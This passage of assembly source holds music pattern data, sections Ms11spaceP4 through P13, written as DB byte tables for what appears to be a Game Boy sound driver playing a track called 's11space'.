$1C, $01, $22, $89, $0B, $01, $27, $85, $0B, $01 DB $1F, $89, $0B, $01, $26, $85, $0B, $03, $60, $01, $00, $18, $01, $22, $89, $01, $20, $32, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $02, $02, $0B, $01 DB $1F, $85, $0B, $03, $50, $01, $0C, $18, $01, $24, $89, $01, $20, $96, $0B, $01, $22, $85, $0B, $01, $1F, $89, $02, $02, $0B, $01, $24, $85, $0B, $01, $27, $89 DB $11, $4C, $02, $01, $20, $32, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26, $89, $02, $02, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $01, $20, $96 DB $0B, $01, $27, $85, $0B, $01, $1F, $89, $02, $02, $0B, $01, $26, $85, $0B, $01, $18, $54, $01, $22, $89, $11, $7C, $02, $01, $20, $32, $02, $2B, $0B, $01, $22 DB $85, $0B, $01, $24, $89, $01, $14, $2E, $05, $02, $0B, $01, $1F, $85, $0B, $01, $24, $89, $11, $7C, $02, $01, $20, $96, $0B, $01, $22, $85, $0B, $01, $1F, $89 DB $01, $18, $6E, $05, $02, $02, $2B, $0B, $01, $24, $85, $02, $2B, $0B, $01, $24, $90, $01, $27, $89, $01, $1B, $32, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26 DB $89, $01, $1D, $32, $0B, $01, $1F, $85, $0B, $01, $07, $14, $01, $22, $89, $01, $1A, $32, $0B, $01, $27, $85, $0B, $01, $0A, $14, $01, $1F, $89, $01, $16, $32 DB $0B, $01, $26, $85, $00, $02, $07 SECTION "Ms11spaceP4", ROMX PATTERN_s11space4: DB $0A DB $03, $03, $A0, $01, $00, $18, $05, $00, $01, $22, $89, $02, $02, $05, $02, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $0B, $01, $1F, $85, $0B, $03, $80 DB $01, $0C, $18, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $01, $18, $2E, $05, $02, $0B, $01, $24, $85, $0B, $01, $27, $89, $01, $1B, $2E, $02, $2B DB $0B, $01, $24, $85, $0B, $01, $26, $89, $01, $1D, $2E, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $01, $1A, $2E, $0B, $01, $27, $85, $0B, $01, $1F DB $89, $01, $16, $2E, $0B, $01, $26, $85, $0B, $03, $A0, $01, $00, $18, $01, $22, $89, $02, $02, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $0B, $01, $1F DB $85, $0B, $03, $80, $01, $0C, $18, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $0B, $01, $24, $85, $0B, $01, $27, $89, $11, $CC, $02, $01, $18, $6E DB $02, $2B, $0B, $01, $24, $85, $01, $1B, $6E, $0B, $01, $26, $89, $01, $1F, $6E, $0B, $01, $1F, $85, $01, $20, $6E, $0B, $01, $0C, $1C, $01, $22, $89, $01, $24 DB $6E, $0B, $01, $27, $85, $01, $27, $6E, $0B, $03, $A0, $01, $0E, $18, $01, $1F, $89, $01, $2B, $6E, $0B, $01, $26, $85, $01, $2C, $6E, $0B, $03, $A0, $01, $00 DB $18, $01, $22, $89, $11, $CF, $02, $01, $30, $6E, $02, $2B, $0B, $01, $22, $85, $11, $BF, $02, $0B, $01, $24, $89, $11, $AF, $02, $0B, $01, $1F, $85, $11, $9F DB $02, $0B, $03, $80, $01, $0C, $18, $01, $24, $89, $11, $8F, $02, $0B, $01, $22, $85, $11, $7F, $02, $0B, $01, $1F, $89, $11, $6F, $02, $0B, $01, $24, $85, $11 DB $5F, $02, $0B, $01, $27, $89, $11, $4F, $02, $02, $2B, $0B, $01, $24, $85, $11, $3F, $02, $0B, $01, $26, $89, $11, $2F, $02, $0B, $01, $1F, $85, $11, $1F, $02 DB $0B, $01, $0C, $1C, $01, $22, $89, $11, $0F, $02, $0B, $01, $27, $85, $0B, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $A0, $01, $00, $18, $01, $22, $89, $11 DB $CF, $02, $01, $30, $2E, $02, $2B, $0B, $01, $22, $85, $11, $BF, $02, $0B, $01, $24, $89, $11, $AF, $02, $0B, $01, $1F, $85, $11, $9F, $02, $0B, $03, $80, $01 DB $0C, $18, $01, $24, $89, $11, $8F, $02, $0B, $01, $22, $85, $11, $7F, $02, $0B, $01, $1F, $89, $11, $6F, $02, $02, $2B, $0B, $01, $24, $85, $11, $5F, $02, $02 DB $2B, $0B, $01, $27, $89, $11, $4F, $02, $02, $2B, $0B, $01, $24, $85, $11, $3F, $02, $0B, $01, $26, $89, $11, $2F, $02, $0B, $01, $1F, $85, $11, $1F, $02, $0B DB $01, $0C, $1C, $01, $22, $89, $11, $0F, $02, $0B, $01, $27, $85, $0B, $03, $A0, $01, $0E, $18, $01, $1F, $89, $0B, $01, $26, $85, $00, $02, $07 SECTION "Ms11spaceP5", ROMX PATTERN_s11space5: DB $0A DB $03, $03, $A0, $01, $00, $18, $05, $00, $01, $22, $89, $02, $02, $05, $02, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $0B, $01, $1F, $85, $0B, $03, $80 DB $01, $0C, $18, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $0B, $01, $24, $85, $0B, $01, $27, $89, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26, $89 DB $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $0B, $01, $27, $85, $0B, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $A0, $01, $00, $18, $01, $22, $89 DB $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $0B, $01, $1F, $85, $0B, $03, $80, $01, $0C, $18, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $0B DB $01, $24, $85, $0B, $01, $27, $89, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $0B, $01, $27, $85 DB $11, $CC, $02, $01, $20, $96, $0B, $03, $A0, $01, $0E, $18, $01, $1F, $89, $01, $20, $96, $0B, $01, $26, $85, $01, $20, $96, $0B, $03, $80, $01, $00, $18, $01 DB $22, $89, $01, $20, $32, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $02, $02, $0B, $01, $1F, $85, $0B, $03, $80, $01, $0C, $18, $01, $24, $89, $01, $20 DB $96, $0B, $01, $22, $85, $0B, $01, $1F, $89, $02, $02, $0B, $01, $24, $85, $0B, $01, $27, $89, $11, $4C, $02, $01, $20, $32, $02, $2B, $0B, $01, $24, $85, $0B DB $01, $26, $89, $02, $02, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $01, $20, $96, $0B, $01, $27, $85, $0B, $01, $1F, $89, $02, $02, $0B, $01, $26 DB $85, $0B, $11, $38, $00, $01, $0C, $1C, $01, $22, $89, $11, $7C, $02, $01, $20, $32, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $01, $14, $2E, $05, $02 DB $0B, $01, $1F, $85, $0B, $01, $24, $89, $11, $7C, $02, $01, $20, $96, $0B, $01, $22, $85, $0B, $01, $1F, $89, $01, $18, $6E, $05, $02, $02, $2B, $0B, $01, $24 DB $85, $02, $2B, $0B, $01, $29, $90, $05, $00, $01, $27, $89, $01, $1B, $32, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26, $89, $01, $1D, $32, $0B, $01, $1F, $85 DB $0B, $01, $24, $90, $01, $22, $89, $01, $1A, $32, $0B, $01, $27, $85, $0B, $03, $A0, $01, $0E, $18, $01, $1F, $89, $01, $16, $32, $0B, $01, $26, $85, $00, $02 DB $07 SECTION "Ms11spaceP6", ROMX PATTERN_s11space6: DB $0A DB $03, $03, $F0, $01, $29, $04, $05, $00, $03, $F1, $01, $04, $3D, $11, $80, $02, $01, $2F, $32, $02, $B7, $0C, $02, $2B, $0C, $02, $02, $0C, $01, $2F, $96, $0B DB $03, $61, $01, $04, $3D, $03, $13, $02, $0B, $0B, $11, $C7, $00, $03, $B0, $01, $1C, $A8, $03, $F1, $01, $04, $3D, $01, $2F, $32, $03, $83, $02, $0B, $0C, $03 DB $80, $01, $1C, $AC, $01, $04, $41, $01, $2F, $36, $03, $83, $02, $0F, $0C, $03, $B0, $01, $1C, $B0, $01, $04, $45, $01, $2F, $3A, $03, $93, $02, $13, $0C, $01 DB $2F, $96, $0B, $11, $40, $01, $01, $10, $15, $0B, $01, $2F, $2E, $02, $2B, $0E, $03, $F0, $01, $1D, $04, $05, $00, $03, $F1, $01, $04, $3D, $05, $01, $01, $2F DB $32, $02, $B7, $0B, $02, $01, $02, $02, $0B, $03, $40, $01, $1D, $50, $01, $04, $3D, $01, $2F, $32, $02, $B7, $0B, $02, $01, $02, $02, $0B, $03, $F0, $01, $1D DB $04, $01, $04, $3D, $01, $2F, $32, $02, $2B, $0C, $11, $C7, $00, $03, $80, $01, $10, $AC, $01, $04, $41, $01, $2F, $36, $0C, $03, $B0, $01, $10, $B0, $01, $04 DB $45, $01, $2F, $3A, $03, $83, $02, $13, $0C, $01, $2F, $96, $0B, $02, $01, $0B, $01, $1D, $04, $05, $00, $03, $F1, $01, $04, $3D, $11, $A0, $02, $01, $2F, $32 DB $02, $B7, $0C, $02, $2B, $0C, $11, $C5, $00, $03, $20, $01, $1C, $A8, $03, $11, $01, $04, $3D, $02, $02, $0B, $03, $30, $01, $1C, $A8, $03, $21, $01, $04, $3D DB $0B, $03, $40, $01, $1C, $A8, $03, $31, $01, $04, $3D, $01, $2F, $96, $0B, $03, $50, $01, $1C, $A8, $03, $41, $01, $04, $3D, $03, $13, $02, $0B, $0B, $03, $B0 DB $01, $1C, $A8, $03, $F1, $01, $04, $3D, $01, $2F, $32, $03, $83, $02, $0B, $0C, $03, $80, $01, $1C, $AC, $01, $04, $41, $01, $2F, $36, $03, $83, $02, $0F, $0C DB $03, $B0, $01, $1C, $B0, $01, $04, $45, $01, $2F, $3A, $03, $93, $02, $13, $0C, $01, $2F, $96, $0B, $11, $40, $01, $01, $10, $15, $0B, $01, $2F, $2E, $02, $2B DB $0E, $01, $1D, $90, $03, $F1, $01, $04, $3D, $05, $01, $01, $2F, $32, $05, $02, $02, $B7, $0B, $02, $01, $02, $02, $0B, $11, $01, $00, $01, $1D, $90, $01, $04 DB $3D, $01, $2F, $32, $02, $B7, $0B, $02, $01, $02, $02, $0B, $01, $11, $90, $05, $00, $01, $04, $3D, $11, $A0, $02, $01, $2F, $32, $02, $2B, $0C, $01, $1D, $98 DB $01, $04, $41, $01, $2F, $36, $0C, $01, $0C, $9C, $01, $04, $45, $01, $2F, $3A, $03, $A3, $02, $13, $0C, $01, $2F, $96, $0B, $02, $01, $00, $02, $07 SECTION "Ms11spaceP7", ROMX PATTERN_s11space7: DB $0A DB $03, $03, $F0, $01, $2B, $04, $05, $00, $03, $F1, $01, $07, $3D, $11, $58, $02, $01, $32, $32, $02, $B7, $0C, $02, $2B, $0C, $02, $02, $0C, $01, $32, $96, $0B DB $03, $61, $01, $07, $3D, $03, $13, $02, $0B, $0B, $11, $C7, $00, $03, $B0, $01, $1F, $A8, $03, $F1, $01, $07, $3D, $01, $32, $32, $03, $83, $02, $0B, $0C, $03 DB $80, $01, $1F, $AC, $01, $07, $41, $01, $32, $36, $03, $83, $02, $0F, $0C, $03, $B0, $01, $1F, $B0, $01, $07, $45, $01, $32, $3A, $03, $93, $02, $13, $0C, $01 DB $32, $96, $0B, $11, $30, $01, $01, $07, $15, $0B, $01, $32, $2E, $02, $2B, $0E, $03, $E0, $01, $1F, $04, $05, $00, $03, $F1, $01, $07, $3D, $05, $01, $01, $32 DB $32, $02, $B7, $0B, $02, $01, $02, $02, $0B, $03, $30, $01, $1F, $50, $01, $07, $3D, $01, $32, $32, $02, $B7, $0B, $02, $01, $02, $02, $0B, $03, $E0, $01, $1F DB $04, $01, $07, $3D, $01, $32, $32, $02, $2B, $0C, $11, $C7, $00, $03, $80, $01, $13, $AC, $01, $07, $41, $01, $32, $36, $0C, $03, $B0, $01, $13, $B0, $01, $07 DB $45, $01, $32, $3A, $03, $93, $02, $13, $0C, $01, $32, $96, $0B, $02, $01, $0B, $01, $1F, $04, $05, $00, $03, $F1, $01, $07, $3D, $11, $5A, $02, $01, $32, $32 DB $02, $B7, $0C, $02, $2B, $0C, $11, $C5, $00, $03, $20, $01, $1F, $A8, $03, $11, $01, $07, $3D, $02, $02, $0B, $03, $30, $01, $1F, $A8, $03, $21, $01, $07, $3D DB $0B, $03, $40, $01, $1F, $A8, $03, $31, $01, $07, $3D, $01, $32, $96, $0B, $03, $50, $01, $1F, $A8, $03, $41, $01, $07, $3D, $03, $13, $02, $0B, $0B, $03, $B0 DB $01, $1F, $A8, $03, $F1, $01, $07, $3D, $01, $32, $32, $03, $83, $02, $0B, $0C, $03, $80, $01, $1F, $AC, $01, $07, $41, $01, $32, $36, $03, $83, $02, $0F, $0C DB $03, $B0, $01, $1F, $B0, $01, $07, $45, $01, $32, $3A, $03, $93, $02, $13, $0C, $01, $32, $96, $0B, $11, $30, $01, $01, $07, $15, $0B, $01, $32, $2E, $02, $2B DB $0E, $11, $01, $00, $01, $1D, $90, $03, $F1, $01, $07, $3D, $05, $01, $01, $32, $32, $02, $B7, $0B, $02, $00, $02, $01, $02, $02, $0B, $01, $1D, $90, $01, $07 DB $3D, $01, $32, $32, $02, $B7, $0B, $02, $00, $02, $01, $02, $02, $0B, $01, $1D, $90, $01, $07, $3D, $01, $32, $32, $02, $2B, $0C, $01, $1A, $98, $01, $07, $41 DB $01, $32, $36, $0C, $01, $11, $9C, $01, $07, $45, $01, $32, $3A, $03, $A3, $02, $13, $0C, $01, $32, $96, $0B, $02, $01, $00, $02, $07 SECTION "Ms11spaceP8", ROMX PATTERN_s11space8: DB $0A DB $03, $01, $29, $90, $05, $00, $03, $F1, $01, $01, $3D, $11, $6C, $02, $01, $31, $32, $02, $B7, $0C, $02, $2B, $0C, $02, $00, $02, $02, $0C, $01, $31, $96, $0B DB $03, $61, $01, $01, $3D, $03, $13, $02, $0B, $0B, $01, $29, $90, $03, $F1, $01, $01, $3D, $01, $31, $32, $03, $83, $02, $0B, $0C, $01, $26, $98, $01, $01, $41 DB $01, $31, $36, $03, $83, $02, $0F, $0C, $01, $1D, $9C, $01, $01, $45, $01, $31, $3A, $03, $93, $02, $13, $0C, $01, $31, $96, $0B, $02, $00, $11, $30, $01, $01 DB $01, $15, $0B, $01, $31, $2E, $02, $2B, $0E, $11, $01, $00, $01, $11, $90, $03, $F1, $01, $01, $3D, $05, $01, $01, $31, $32, $02, $B7, $0B, $02, $00, $02, $01 DB $02, $02, $0B, $01, $11, $90, $01, $01, $3D, $01, $31, $32, $02, $B7, $0B, $02, $00, $02, $01, $02, $02, $0B, $01, $11, $90, $01, $01, $3D, $01, $31, $32, $02 DB $2B, $0C, $01, $0E, $98, $01, $01, $41, $01, $31, $36, $0C, $01, $05, $9C, $01, $01, $45, $01, $31, $3A, $03, $A3, $02, $13, $0C, $02, $00, $01, $31, $96, $0B DB $02, $01, $0B, $01, $29, $90, $05, $00, $03, $F1, $01, $01, $3D, $01, $31, $32, $02, $B7, $0C, $02, $2B, $0C, $02, $00, $03, $11, $01, $01, $3D, $02, $02, $0B DB $03, $21, $01, $01, $3D, $0B, $03, $31, $01, $01, $3D, $01, $31, $96, $0B, $03, $41, $01, $01, $3D, $03, $13, $02, $0B, $0B, $01, $29, $90, $03, $F1, $01, $01 DB $3D, $01, $31, $32, $03, $83, $02, $0B, $0C, $01, $26, $98, $01, $01, $41, $01, $31, $36, $03, $83, $02, $0F, $0C, $01, $1D, $9C, $01, $01, $45, $01, $31, $3A DB $03, $93, $02, $13, $0C, $01, $31, $96, $0B, $02, $00, $11, $30, $01, $01, $01, $15, $0B, $01, $31, $2E, $02, $2B, $0E, $11, $01, $00, $01, $11, $90, $03, $F1 DB $01, $01, $3D, $05, $01, $01, $31, $32, $02, $B7, $0B, $02, $00, $02, $01, $02, $02, $0B, $01, $11, $90, $01, $01, $3D, $01, $31, $32, $02, $B7, $0B, $02, $00 DB $02, $01, $02, $02, $0B, $01, $11, $90, $01, $01, $3D, $01, $31, $32, $02, $2B, $0C, $01, $0E, $98, $01, $01, $41, $01, $31, $36, $0C, $01, $05, $9C, $01, $01 DB $45, $01, $31, $3A, $03, $A3, $02, $13, $0C, $02, $00, $01, $31, $96, $0B, $02, $01, $00, $02, $07 SECTION "Ms11spaceP9", ROMX PATTERN_s11space9: DB $0A DB $03, $01, $29, $90, $05, $00, $03, $F1, $01, $01, $3D, $11, $6C, $02, $01, $31, $32, $02, $B7, $0C, $02, $2B, $0C, $02, $00, $02, $02, $0C, $01, $31, $96, $0B DB $03, $61, $01, $01, $3D, $03, $13, $02, $0B, $0B, $11, $01, $00, $01, $11, $90, $03, $F1, $01, $01, $3D, $01, $31, $32, $03, $83, $02, $0B, $0C, $01, $0E, $98 DB $01, $01, $41, $01, $31, $36, $03, $83, $02, $0F, $0C, $01, $05, $9C, $01, $01, $45, $01, $31, $3A, $03, $93, $02, $13, $0C, $01, $31, $96, $0B, $02, $00, $11 DB $30, $01, $01, $01, $15, $0B, $01, $29, $90, $05, $00, $01, $31, $2E, $02, $B7, $0C, $02, $2B, $0C, $02, $00, $03, $F1, $01, $01, $3D, $05, $01, $01, $31, $32 DB $0B, $02, $01, $02, $02, $0B, $01, $01, $3D, $01, $31, $32, $0B, $02, $01, $02, $02, $03, $13, $02, $0B, $0B, $11, $01, $00, $01, $11, $90, $01, $01, $3D, $01 DB $31, $32, $03, $83, $02, $0B, $0C, $01, $0E, $98, $01, $01, $41, $01, $31, $36, $03, $83, $02, $0F, $0C, $01, $05, $9C, $01, $01, $45, $01, $31, $3A, $03, $93 DB $02, $13, $0C, $01, $31, $96, $0B, $02, $00, $02, $01, $0B, $01, $29, $90, $05, $00, $03, $F1, $01, $01, $3D, $01, $31, $32, $02, $B7, $0C, $02, $2B, $0C, $02 DB $00, $03, $11, $01, $01, $3D, $02, $02, $0B, $03, $21, $01, $01, $3D, $0B, $03, $31, $01, $01, $3D, $01, $31, $96, $0B, $03, $41, $01, $01, $3D, $03, $13, $02 DB $0B, $0B, $11, $01, $00, $01, $11, $90, $03, $F1, $01, $01, $3D, $01, $31, $32, $03, $83, $02, $0B, $0C, $01, $0E, $98, $01, $01, $41, $01, $31, $36, $03, $83 DB $02, $0F, $0C, $01, $05, $9C, $01, $01, $45, $01, $31, $3A, $03, $93, $02, $13, $0C, $01, $31, $96, $0B, $02, $00, $11, $30, $01, $01, $01, $15, $0B, $01, $29 DB $90, $05, $00, $01, $31, $2E, $02, $B7, $0C, $02, $2B, $0C, $11, $6C, $00, $01, $19, $14, $03, $F1, $01, $01, $3D, $05, $01, $01, $31, $32, $02, $B7, $0B, $02 DB $01, $02, $02, $0B, $01, $01, $3D, $01, $31, $32, $02, $B7, $0B, $02, $01, $02, $02, $03, $13, $02, $0B, $0B, $01, $01, $3D, $01, $31, $32, $03, $83, $02, $0B DB $0C, $01, $01, $41, $01, $31, $36, $03, $83, $02, $0F, $0C, $01, $01, $45, $01, $31, $3A, $03, $93, $02, $13, $0C, $01, $31, $96, $0B, $02, $01, $00, $02, $07 SECTION "Ms11spaceP10", ROMX PATTERN_s11space10: DB $0A DB $03, $03, $F0, $01, $24, $04, $05, $00, $01, $1E, $89, $05, $01, $0F, $6E, $01, $2E, $32, $0B, $01, $1E, $85, $0B, $01, $20, $89, $02, $2B, $0B, $01, $1B, $85 DB $0B, $03, $A0, $01, $08, $20, $01, $20, $89, $05, $02, $0B, $01, $1E, $85, $0B, $01, $1B, $89, $03, $23, $02, $0B, $0B, $01, $20, $85, $0B, $03, $80, $01, $08 DB $18, $05, $00, $01, $23, $89, $11, $58, $02, $01, $33, $32, $03, $83, $02, $0B, $0B, $01, $20, $85, $0B, $01, $08, $14, $01, $22, $89, $01, $33, $6E, $0B, $01 DB $1B, $85, $0B, $01, $08, $1C, $01, $1E, $89, $01, $33, $2E, $02, $2B, $0B, $01, $23, $85, $0B, $03, $80, $01, $16, $18, $01, $1B, $89, $0B, $01, $22, $85, $0B DB $03, $F0, $01, $24, $04, $01, $1E, $89, $01, $2F, $6E, $05, $02, $02, $B7, $0B, $01, $1E, $85, $0B, $01, $20, $89, $02, $2B, $0B, $01, $1B, $85, $0B, $03, $A0 DB $01, $08, $20, $01, $20, $89, $01, $2F, $2E, $02, $67, $0B, $01, $1E, $85, $0B, $01, $1B, $89, $03, $33, $02, $0B, $0B, $01, $20, $85, $0B, $03, $80, $01, $08 DB $18, $05, $00, $01, $23, $89, $11, $CC, $02, $01, $2C, $32, $03, $83, $02, $0B, $0B, $01, $20, $85, $02, $02, $0B, $01, $08, $14, $01, $22, $89, $01, $2C, $36 DB $0B, $01, $1B, $85, $02, $02, $0B, $01, $08, $1C, $01, $1E, $89, $01, $2C, $3A, $02, $2B, $0B, $01, $23, $85, $0B, $03, $80, $01, $16, $18, $01, $1B, $89, $02 DB $02, $0B, $01, $22, $85, $0B, $03, $F0, $01, $24, $04, $01, $1E, $89, $01, $2E, $32, $05, $02, $02, $B7, $0B, $01, $1E, $85, $0B, $01, $20, $89, $02, $2B, $0B DB $01, $1B, $85, $0B, $03, $A0, $01, $08, $20, $01, $20, $89, $02, $2B, $0B, $01, $1E, $85, $0B, $01, $1B, $89, $03, $23, $02, $0B, $0B, $01, $20, $85, $0B, $03 DB $80, $01, $08, $18, $05, $00, $01, $23, $89, $03, $83, $02, $0B, $0B, $01, $20, $85, $0B, $01, $08, $14, $01, $22, $89, $0B, $01, $1B, $85, $0B, $01, $08, $1C DB $01, $1E, $89, $10, $26, $02, $2B, $0B, $01, $23, $85, $0B, $03, $80, $01, $16, $18, $01, $1B, $89, $0B, $01, $22, $85, $0B, $03, $F0, $01, $24, $04, $01, $1E DB $89, $01, $2A, $32, $05, $02, $02, $B7, $0B, $01, $1E, $85, $0B, $01, $20, $89, $02, $2B, $0B, $01, $1B, $85, $0B, $03, $A0, $01, $08, $20, $01, $20, $89, $04 DB $62, $02, $67, $0B, $01, $1E, $85, $0B, $01, $1B, $89, $03, $33, $02, $0B, $0B, $01, $20, $85, $0B, $03, $80, $01, $08, $18, $05, $00, $01, $23, $89, $03, $83 DB $02, $0B, $0B, $01, $20, $85, $0B, $01, $08, $14, $01, $22, $89, $0B, $01, $1B, $85, $0B, $01, $08, $1C, $01, $1E, $89, $02, $2B, $0B, $01, $23, $85, $0B, $03 DB $70, $01, $16, $18, $01, $1B, $89, $0B, $01, $22, $85, $00, $02, $07 SECTION "Ms11spaceP11", ROMX PATTERN_s11space11: DB $0A DB $03, $03, $60, $01, $00, $18, $05, $00, $01, $22, $89, $02, $02, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $0B, $01, $1F, $85, $0B, $03, $50, $01, $0C DB $18, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $0B, $01, $24, $85, $0B, $01, $27, $89, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26, $89, $0B, $01 DB $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $0B, $01, $27, $85, $0B, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $60, $01, $00, $18, $01, $22, $89, $02, $2B DB $0B, $01, $22, $85, $0B, $01, $24, $89, $0B, $01, $1F, $85, $0B, $03, $50, $01, $0C, $18, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $0B, $01, $24 DB $85, $0B, $01, $27, $89, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $0B, $01, $27, $85, $0B, $01 DB $1F, $89, $0B, $01, $26, $85, $0B, $03, $60, $01, $00, $18, $01, $22, $89, $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $0B, $01, $1F, $85, $0B, $03, $50 DB $01, $0C, $18, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $0B, $01, $24, $85, $0B, $01, $27, $89, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26, $89 DB $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $0B, $01, $27, $85, $0B, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $60, $01, $00, $18, $01, $22, $89 DB $02, $2B, $0B, $01, $22, $85, $0B, $01, $24, $89, $01, $14, $2E, $0B, $01, $1F, $85, $0B, $03, $50, $01, $0C, $18, $01, $24, $89, $01, $14, $6E, $0B, $01, $22 DB $85, $0B, $01, $1F, $89, $01, $18, $32, $0B, $01, $24, $85, $0B, $01, $27, $89, $01, $1B, $32, $02, $2B, $0B, $01, $24, $85, $0B, $01, $26, $89, $01, $1D, $32 DB $0B, $01, $1F, $85, $0B, $01, $22, $89, $01, $1A, $32, $0B, $01, $27, $85, $0B, $01, $1F, $89, $01, $16, $32, $0B, $01, $26, $85, $00, $02, $07 SECTION "Ms11spaceP12", ROMX PATTERN_s11space12: DB $0A DB $03, $03, $F0, $01, $24, $04, $01, $22, $89, $01, $2B, $32, $05, $02, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $02, $2B, $0B, $01, $1F, $85, $0B, $03 DB $A0, $01, $0C, $20, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $03, $23, $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00, $18, $05, $00, $01 DB $27, $89, $03, $83, $02, $0B, $0B, $01, $24, $85, $0B, $01, $0C, $14, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $10, $26, $02, $2B DB $0B, $01, $27, $85, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $F0, $01, $24, $04, $01, $22, $89, $01, $2B, $2E, $05, $02, $02 DB $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $02, $2B, $0B, $01, $1F, $85, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $02, $67, $0B, $01, $22, $85, $0B, $01 DB $1F, $89, $03, $33, $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $03, $83, $02, $0B, $0B, $01, $24, $85, $0B, $01, $0C DB $14, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89, $10, $26, $02, $2B, $0B, $01, $27, $85, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89 DB $0B, $01, $26, $85, $0B, $03, $F0, $01, $24, $04, $01, $22, $89, $01, $13, $7A, $05, $02, $02, $B7, $0B, $01, $22, $85, $0B, $01, $24, $89, $02, $2B, $0B, $01 DB $1F, $85, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $0B, $01, $22, $85, $0B, $01, $1F, $89, $03, $23, $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00 DB $18, $05, $00, $01, $27, $89, $03, $83, $02, $0B, $0B, $01, $24, $85, $0B, $01, $0C, $14, $01, $26, $89, $0B, $01, $1F, $85, $0B, $01, $0C, $1C, $01, $22, $89 DB $02, $2B, $0B, $01, $27, $85, $0B, $03, $80, $01, $0E, $18, $01, $1F, $89, $0B, $01, $26, $85, $0B, $03, $F0, $01, $24, $04, $01, $22, $89, $02, $B7, $0B, $01 DB $22, $85, $0B, $01, $24, $89, $02, $2B, $0B, $01, $1F, $85, $0B, $03, $A0, $01, $0C, $20, $01, $24, $89, $02, $67, $0B, $01, $22, $85, $0B, $01, $1F, $89, $03 DB $33, $02, $0B, $0B, $01, $24, $85, $0B, $03, $90, $01, $00, $18, $05, $00, $01, $27, $89, $03, $83, $02, $0B, $0B, $01, $24, $85, $0B, $01, $0A, $14, $01, $26 DB $89, $0B, $01, $1F, $85, $0B, $01, $0A, $1C, $01, $22, $89, $11, $CC, $02, $01, $29, $32, $02, $2B, $0B, $01, $27, $85, $02, $02, $0B, $03, $80, $01, $0C, $18 DB $01, $1F, $89, $01, $29, $6E, $05, $02, $0B, $01, $26, $85, $02, $02, $00, $02, $07 SECTION "Ms11spaceP13", ROMX PATTERN_s11space13: DB $0A DB $03, $02, $00, $05, $00, $04, $81, $01, $18, $BD, $01, $24, $2E, $05, $02, $02, $03, $00, $30, $04, $80, $01, $14, $BC, $01, $18, $BD, $01, $18, $2E, $0E, $03 DB $13, $02, $A3, $0D, $03, $23, $02, $A3, $0D, $03, $23, $02, $A3, $0C, $03, $23, $02, $A3, $0C, $03, $13, $02, $A3, $0C, $01, $14, $BC, $11, $09, $01, $01, $11 DB $BD, $01, $26, $2E, $03, $13, $02, $A3, $0B, $02, $A3, $0B, $03, $23, $02, $A3, $0B, $02, $A3, $0B, $03, $33, $02, $A3, $0B, $02, $A3, $0B, $03, $23, $02, $A3 DB $0B, $02, $A3, $0B, $03, $23, $02, $A3, $0B, $03, $33, $02, $A3, $0B, $03, $43, $02, $A3, $0B, $03, $53, $02, $A3, $0B, $03, $43, $02, $A3, $0B, $03, $53, $02 DB $A3, $0B, $03, $63, $02, $A3, $0B, $03, $73, $02, $A3, $0B, $01, $0C, $54, $05, $00, $01, $11, $BD, $01, $1A, $2E, $03, $83, $02, $A3, $0B, $03, $73, $02, $A3 DB $0B, $03, $63, $02, $A3, $0B, $03, $53, $02, $A3, $0B, $10, $16, $03, $63, $02, $A3, $0B, $03, $73, $02, $A3, $0B, $03, $83, $02, $A3, $0B, $03, $93, $02, $A3 DB $0B, $03, $83, $02, $A3, $0B, $03, $93, $02, $A3, $0B, $03, $A3, $02, $A3, $0B, $03, $B3, $02, $A3, $0B, $03, $A3, $02, $A3, $0B, $03, $83, $02, $A3, 